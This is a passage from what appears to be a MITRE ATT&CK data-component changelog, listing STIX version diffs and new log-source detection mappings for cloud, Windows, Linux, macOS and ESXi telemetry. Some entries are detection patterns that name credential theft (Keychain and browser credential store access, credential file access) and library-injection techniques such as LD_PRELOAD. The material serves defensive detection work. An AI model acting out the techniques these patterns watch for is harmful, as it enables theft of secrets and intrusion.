{'name': 'macos:unifiedlog', 'channel': 'System Integrity Protection (SIP) state reported as disabled'}, {'name': 'AWS:CloudWatch', 'channel': 'Unusual CPU burst or metric anomalies'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1074'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6006'}, {'name': 'linux:syslog', 'channel': 'system is powering down'}, {'name': 'macos:unifiedlog', 'channel': 'System shutdown or reboot requested'}, {'name': 'esxi:hostd', 'channel': 'Powering off or restarting host'}, {'name': 'networkdevice:syslog', 'channel': 'System reboot scheduled or performed'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:18.582000+00:002025-10-21 15:14:37.544000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0015] Image Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0015', 'external_id': 'DC0015'}]
x_mitre_log_sources[{'name': 'containerd:events', 'channel': 'Image pull from untrusted registry (name NOT IN allowlist) or new digest never seen before'}, {'name': 'docker:daemon', 'channel': 'docker build or docker commit commands followed by docker push to internal registry'}, {'name': 'kubernetes:audit', 'channel': 'create'}, {'name': 'AWS:CloudTrail', 'channel': 'RegisterImage'}, {'name': 'docker:daemon', 'channel': 'docker build or POST /build API request'}, {'name': 'kubernetes:apiserver', 'channel': 'Pod spec triggering build or custom controller activity invoking image builds'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:53.193000+00:002025-10-21 15:14:39.369000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0026] Image Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0026', 'external_id': 'DC0026'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:59.613000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0028] Image Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0028', 'external_id': 'DC0028'}]
x_mitre_log_sources[{'name': 'docker:events', 'channel': 'docker.events.json'}, {'name': 'esxi:vmkernel', 'channel': 'VMX startup messages without associated vCenter inventory records'}, {'name': 'kubernetes:apiserver', 'channel': 'Resource creation and update logs'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:56.417000+00:002025-10-21 15:14:38.423000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0036] Image Modification

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0036', 'external_id': 'DC0036'}]
x_mitre_log_sources[{'name': 'docker:registry', 'channel': 'push event of new image version from unrecognized user or context'}, {'name': 'AWS:CloudTrail', 'channel': 'ModifyImageAttribute'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:48.777000+00:002025-10-21 15:14:40.151000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0076] Instance Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0076', 'external_id': 'DC0076'}]
x_mitre_log_sources[{'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/write: imageReference publisher NOT IN allowlist OR plan is new/unknown'}, {'name': 'gcp:audit', 'channel': 'compute.instances.insert: sourceImage not in approved projects OR has external image link'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE'}, {'name': 'gcp:audit', 'channel': 'compute.instances.insert'}, {'name': 'AWS:CloudTrail', 'channel': 'RunInstances,CreateImage'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:20.734000+00:002025-10-21 15:14:39.434000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0081] Instance Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0081', 'external_id': 'DC0081'}]
x_mitre_log_sources[{'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/DELETE'}, {'name': 'gcp:audit', 'channel': 'compute.instances.delete'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:17.500000+00:002025-10-21 15:14:37.952000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0075] Instance Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0075', 'external_id': 'DC0075'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'DescribeDBInstances'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/LIST'}, {'name': 'gcp:audit', 'channel': 'compute.instances.list OR storage.buckets.list'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeInstances, GetConsoleOutput, DescribeImages'}, {'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/read'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:14.328000+00:002025-10-21 15:14:38.969000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0086] Instance Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0086', 'external_id': 'DC0086'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'DescribeInstances'}, {'name': 'CloudTrail:EC2', 'channel': 'DescribeInstances'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:42.003000+00:002025-10-21 15:14:37.885000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0073] Instance Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0073', 'external_id': 'DC0073'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'RevertSnapshot'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/RESTORE'}, {'name': 'gcp:audit', 'channel': 'compute.instances.restore'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:07.954000+00:002025-10-21 15:14:40.223000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0080] Instance Start

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0080', 'external_id': 'DC0080'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'StartInstances'}, {'name': 'CloudTrail:RunInstances', 'channel': 'RunInstances'}, {'name': 'CloudTrail:RunInstances', 'channel': 'RunInstances: AMI not in allowlist OR AMI owner != enterprise owner/account'}, {'name': 'AWS:CloudTrail', 'channel': 'StartInstances: Instance starts from suspicious AMI or with userData present'}, {'name': 'AWS:CloudTrail', 'channel': 'RunInstances'}, {'name': 'CloudTrail:EC2', 'channel': 'RunInstances'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:11.135000+00:002025-10-21 15:14:36.515000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0089] Instance Stop

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0089', 'external_id': 'DC0089'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'TerminateInstances'}, {'name': 'AWS:CloudTrail', 'channel': 'StopInstances'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:04.794000+00:002025-10-21 15:14:37.816000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0031] Kernel Module Load

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0031', 'external_id': 'DC0031'}]
x_mitre_log_sources[{'name': 'esxi:vmkernel', 'channel': 'VM exit/entry anomalies, unexpected hypercalls, or kernel module loading'}, {'name': 'macos:osquery', 'channel': 'New kext entries not signed by Apple or outside standard identifier prefix'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--8765a845-dea1-4cd1-a56f-f54939b7ab9e
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:44.099000+00:002025-10-21 15:14:39.179000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0067] Logon Session Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0067', 'external_id': 'DC0067'}]
x_mitre_log_sources[{'name': 'Logon Session', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'UserLoggedIn'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListResources'}, {'name': 'azure:signin', 'channel': 'UserLoginSuccess, TokenIssued'}, {'name': 'Okta:SystemLog', 'channel': 'user.authentication.sso, app.oauth.grant'}, {'name': 'm365:signin', 'channel': 'SignInSuccess, RoleAssignmentRead'}, {'name': 'm365:unified', 'channel': 'UserLoggedIn'}, {'name': 'gcp:audit', 'channel': 'LoginAudit, DriveAudit'}, {'name': 'saas:auth', 'channel': 'LoginSuccess, APIKeyUse, AdminAction'}, {'name': 'azure:signinlogs', 'channel': 'Abnormal sign-in from scripting tools (PowerShell, AADInternals)'}, {'name': 'azure:signinlogs', 'channel': 'Suspicious login to cloud mailbox system'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624'}, {'name': 'azure:signinlogs', 'channel': 'Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4648'}, {'name': 'NSM:Connections', 'channel': 'Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)'}, {'name': 'macos:unifiedlog', 'channel': 'Authentication inconsistencies where commands are executed without corresponding login events'}, {'name': 'CloudTrail:Signin', 'channel': 'SAML login without corresponding IdP authentication log'}, {'name': 'm365:sharepoint', 'channel': 'File access with forged or anomalous SAML claims'}, {'name': 'AWS:CloudTrail', 'channel': 'Web console logins using session cookies without corresponding MFA event'}, {'name': 'saas:access', 'channel': 'Multiple concurrent logins using same cookie from different locations'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise'}, {'name': 'macos:unifiedlog', 'channel': 'authentication'}, {'name': 'AWS:CloudTrail', 'channel': 'SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect'}, {'name': 'azure:signin', 'channel': 'Microsoft.Compute/virtualMachines/serialConsole/connect/action'}, {'name': 'gcp:audit', 'channel': 'cloud.ssh.publicKey.inserted, compute.instances.osLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 with LogonType=9 or smartcard logon'}, {'name': 'NSM:Connections', 'channel': 'Missing new login event but session activity continues'}, {'name': 'macos:unifiedlog', 'channel': 'Session reuse without new auth event'}, {'name': 'AWS:CloudTrail', 'channel': 'Temporary security credentials used to authenticate into management console or APIs'}, {'name': 'macos:unifiedlog', 'channel': 'Access to Keychain items or browser credential stores'}, {'name': 'm365:signin', 'channel': 'Token usage events with device/user mismatch'}, {'name': 'saas:github', 'channel': 'Login from unusual IP, device fingerprint, or location; access token creation from new client'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10 or 3), EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'sshd: Accepted password/publickey'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'"}, {'name': 'AWS:CloudTrail', 'channel': 'AWS ConsoleLogin, StartSession'}, {'name': 'esxi:vmkernel', 'channel': 'vim.fault.*, DCUI login, SSH shell'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=3)'}, {'name': 'AWS:CloudTrail', 'channel': 'GetConsoleOutput'}, {'name': 'saas:okta', 'channel': 'user.session.start'}, {'name': 'm365:unified', 'channel': 'ViewAdminReport'}, {'name': 'saas:zoom', 'channel': 'Zoom Admin Dashboard accessed from unfamiliar IP/device'}, {'name': 'WinEventLog:Security', 'channel': 'Anomalous logon without MFA enforcement'}, {'name': 'networkdevice:Firewall', 'channel': 'Login from untrusted IP, or new admin account accessing firewall console/API'}, {'name': 'linux:syslog', 'channel': 'authentication success after file access'}, {'name': 'macos:unifiedlog', 'channel': 'Keychain or user login post-access'}, {'name': 'AWS:CloudTrail', 'channel': 'sudden role assumption after credential file access'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10), EventCode=4648'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4648'}, {'name': 'NSM:Connections', 'channel': 'Accepted publickey for user from unusual IP or without tty'}, {'name': 'saas:confluence', 'channel': 'logon'}, {'name': 'linux:syslog', 'channel': 'auth.log / secure.log'}, {'name': 'esxi:auth', 'channel': 'Shell login or escalation'}, {'name': 'linux:auth', 'channel': 'User login event followed by unexpected process tree'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges'}, {'name': 'm365:signinlogs', 'channel': 'UserLogin: Discovery operations shortly after account logins from new geolocations'}, {'name': 'saas:auth', 'channel': 'Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens'}, {'name': 'WinEventLog:Security', 'channel': '4624'}, {'name': 'NSM:Connections', 'channel': 'simultaneous or anomalous logon sessions across multiple systems'}, {'name': 'macos:unifiedlog', 'channel': 'authentication plugin load or modification events'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648, 4672'}, {'name': 'azure:ad', 'channel': 'SignInEvents'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648,4672,4769'}, {'name': 'linux:syslog', 'channel': 'Accepted publickey/password for * from * port * ssh2'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd successful login events'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, ServicePrincipalSignIn'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, NonInteractiveUser'}, {'name': 'azure:signinlogs', 'channel': 'UserLogin, ConditionalAccessPolicyEvaluated'}, {'name': 'saas:okta', 'channel': 'session.token.reuse'}, {'name': 'auditd:SYSCALL', 'channel': 'capset or setns'}, {'name': 'gcp:audit', 'channel': 'admin.googleapis.com'}, {'name': 'm365:signinlogs', 'channel': 'UserLoggedIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4624'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634'}, {'name': 'linux:syslog', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:26.544000+00:002025-10-21 15:14:35.022000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0088] Logon Session Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0088', 'external_id': 'DC0088'}]
x_mitre_log_sources[{'name': 'Logon Session', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4672'}, {'name': 'macos:unifiedlog', 'channel': 'LoginWindow context with associated PID linked to reopened plist paths'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4768, 4769'}, {'name': 'azure:signinLogs', 'channel': 'SAML-based login with anomalous issuer or NotOnOrAfter lifetime'}, {'name': 'm365:unified', 'channel': 'Abnormal user claims or unexpected elevated role assignment in SAML assertion'}, {'name': 'macos:unifiedlog', 'channel': 'authd generating multiple MFA token requests'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625, 4768, 4769'}, {'name': 'linux:syslog', 'channel': 'sssd / sudo logs'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4778, EventCode=4779'}, {'name': 'auditd:SYSCALL', 'channel': 'ssh logins or execve of remote commands'}, {'name': 'macos:unifiedlog', 'channel': 'Remote login (ssh) or screen sharing authentication attempts'}, {'name': 'kubernetes:audit', 'channel': 'Unauthorized container creation or kubelet exec logs'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_LOGIN'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4800, 4801'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4776,4771,4770'}, {'name': 'auditd:SYSCALL', 'channel': 'execve,socket,connect,openat'}, {'name': 'macos:unifiedlog', 'channel': 'Group membership change for admin or wheel'}, {'name': 'azure:audit', 'channel': 'Add delegated admin / Assign admin roles / Update application consent'}, {'name': 'saas:okta', 'channel': 'user.session.start, app.oauth2.as.authorize, policy.mfa.bypass'}, {'name': 'gcp:audit', 'channel': 'google.iam.credentials.generateAccessToken / serviceAccountTokenCreator'}, {'name': 'saas:salesforce', 'channel': 'ConnectedApp OAuth policy change / Login as user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4634, 4768, 4769'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime'}, {'name': 'saas:okta', 'channel': 'user.authentication.sso'}, {'name': 'm365:unified', 'channel': 'FileAccessed, SharingSet'}, {'name': 'm365:signin', 'channel': 'UserLogin'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow, sshd'}, {'name': 'NSM:Connections', 'channel': 'Successful sudo or ssh from unknown IPs'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd events with external IP'}, {'name': 'macos:unifiedlog', 'channel': "process = 'sshd'"}, {'name': 'esxi:auth', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:39:59.118000+00:002025-10-21 15:14:36.246000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0011] Malware Content

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0011', 'external_id': 'DC0011'}]
x_mitre_log_sources[{'name': 'Malware Repository', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:12.329000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0003] Malware Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0003', 'external_id': 'DC0003'}]
x_mitre_log_sources[{'name': 'Malware Repository', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:09.096000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0016] Module Load

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0016', 'external_id': 'DC0016'}]
x_mitre_log_sources[{'name': 'Module', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=7'}, {'name': 'ETW:LoadImage', 'channel': 'provider: ETW LoadImage events for images from user-writable/UNC paths'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/mmap: Open/mmap .so files from non-standard paths'}, {'name': 'linux:osquery', 'channel': "select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'"}, {'name': 'macos:unifiedlog', 'channel': 'dyld/unified log entries indicating image load from non-system paths'}, {'name': 'macos:osquery', 'channel': "select: path LIKE '%/Library/%/*.dylib' OR '/tmp/*.dylib'"}, {'name': 'macos:unifiedlog', 'channel': 'dynamic loading of sleep-related functions or sandbox detection libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'LD_PRELOAD Logging'}, {'name': 'linux:osquery', 'channel': 'Dynamic Linking State'}, {'name': 'macos:unifiedlog', 'channel': 'DYLD event subsystem'}, {'name': 'linux:osquery', 'channel': 'Process linked with libcrypto.so making external connections'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events with dylib load activity'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=7'}, {'name': 'WinEventLog:Application', 'channel': 'CLR Assembly creation, loading, or modification logs via MSSQL CLR integration'}, {'name': 'macos:unifiedlog', 'channel': 'Process memory maps new dylib (dylib_load event)'}, {'name': 'macos:unifiedlog', 'channel': 'Dylib loaded from abnormal location'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3033'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3063'}, {'name': 'auditd:MMAP', 'channel': 'load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'Loading of libz.dylib, libarchive.dylib by non-standard applications'}, {'name': 'macos:unifiedlog', 'channel': 'suspicious dlopen/dlsym usage in non-development processes'}, {'name': 'm365:unified', 'channel': 'Non-standard Office startup component detected (e.g., unexpected DLL path)'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap'}, {'name': 'esxi:vmkernel', 'channel': 'unexpected module load'}, {'name': 'snmp:status', 'channel': 'Status change in cryptographic hardware modules (enabled -> disabled)'}, {'name': 'esxi:vmkernel', 'channel': 'module load'}, {'name': 'macos:unifiedlog', 'channel': 'delay/sleep library usage in user context'}, {'name': 'linux:syslog', 'channel': 'kmod'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.kextd'}, {'name': 'macos:unifiedlog', 'channel': 'loading of unexpected dylibs compared to historical baselines'}, {'name': 'auditd:file-events', 'channel': 'open of suspicious .so from non-standard paths'}, {'name': 'macos:syslog', 'channel': 'DYLD_INSERT_LIBRARIES anomalies'}, {'name': 'auditd:SYSCALL', 'channel': 'dmesg'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_KEXTLOAD'}, {'name': 'auditd:SYSCALL', 'channel': 'module load or memory map path'}, {'name': 'macos:unifiedlog', 'channel': 'launch and dylib load'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl/libcrypto performing network activity'}, {'name': 'etw:Microsoft-Windows-Kernel-ImageLoad', 'channel': 'provider: Unsigned/user-writable image loads into msbuild.exe'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:16.486000+00:002025-10-21 15:14:35.471000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0048] Named Pipe Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0048', 'external_id': 'DC0048'}]
x_mitre_log_sources[{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=17'}, {'name': 'macos:unifiedlog', 'channel': 'XPC messages requesting privileged actions from untrusted or unsigned clients'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--221adcd5-cccf-44df-9be6-ef607a6e1c3c
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:42.887000+00:002025-10-21 15:14:39.039000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0082] Network Connection Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0082', 'external_id': 'DC0082'}]
x_mitre_log_sources[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connection to 169.254.169.254 from EC2 workload'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:unifiedlog', 'channel': 'connection attempts'}, {'name': 'esxi:hostd', 'channel': 'System service interactions'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3, 22'}, {'name': 'NSM:Connections', 'channel': 'web domain alerts'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=22'}, {'name': 'auditd:SYSCALL', 'channel': 'connect'}, {'name': 'auditd:SYSCALL', 'channel': 'netconnect'}, {'name': 'macos:osquery', 'channel': 'process_events/socket_events'}, {'name': 'NSM:Firewall', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'connection open'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline'}, {'name': 'NSM:Flow', 'channel': 'New TCP/443 or TCP/80 to domain not previously seen for the user/host'}, {'name': 'NSM:Connections', 'channel': 'New outbound connection from Safari/Chrome/Firefox/Word'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect'}, {'name': 'macos:osquery', 'channel': 'execution of trusted tools interacting with external endpoints'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=22'}, {'name': 'WinEventLog:Microsoft-Windows-Bits-Client/Operational', 'channel': 'BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields'}, {'name': 'NSM:Firewall', 'channel': 'proxy or TLS inspection logs'}, {'name': 